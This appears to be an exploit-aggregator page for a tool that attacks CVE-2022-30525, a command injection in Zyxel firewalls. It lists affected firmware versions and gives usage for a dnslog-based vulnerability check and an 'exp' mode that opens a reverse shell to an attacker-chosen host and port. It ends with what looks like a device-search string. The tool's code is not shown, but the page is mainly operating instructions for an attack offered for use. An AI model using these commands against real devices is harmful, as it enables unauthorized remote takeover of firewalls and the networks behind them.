## https://sploitus.com/exploit?id=6F26932E-1981-5C9F-B4CA-E98F18769C2F
# CVE-2022-30525 Zyxel Firewall Command Injection Vulnerability
CVE-2022-30525 POC&EXP
Author: 160team.west9B
**This tool is intended for use by security researchers only under authorized circumstances. Please comply with network security laws. Any issues arising from its use are at your own risk, and the author is not responsible for them.**
# 01 – Basic Information
On May 12, 2022, Zyxel released a security bulletin addressing a remote command injection vulnerability (CVE-2022-30525) in its firewall devices. The CVSS score for this vulnerability is 9.8. This vulnerability exists in certain versions of Zyxel’s CGI programs, allowing unauthorized commands to be executed on affected devices. Affected versions include:
ATP series firmware: 5.10–5.21 Patch 1
VPN series firmware: 4.60–5.21 Patch 1
USG FLEX 100(W), 200, 500, 700: 5.00–5.21 Patch 1
USG FLEX 50(W)/USG20(W)-VPN: 5.10–5.21 Patch 1
# 02 – Usage Instructions
## usage_poc: ./cve-2022-30525 -m poc -u url
## usage_exp: ./cve-2022-30525 -m exp -u url -lhost ip -lport port
### 1. POC
This proof of concept does not involve command execution with output. It verifies the dnslog API. If there is a request to dnslog, then the vulnerability exists. To prevent false positives due to network latency, the verification request for dnslog delays for 10 seconds.
**usage_poc: ./cve-2022-30525 -m poc -u https://192.168.1.1/**
### 2. exp
This example demonstrates a reverse shell attack. After using “m exp”, specify the VPS IP address and port.
**usage_exp: ./cve-2022-30525 -m exp -u https://192.168.1.1/ -lhost 192.168.1.2 -lport 1337/**
# Screenshots
# Reference
https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
# References
title="USG FLEX xx"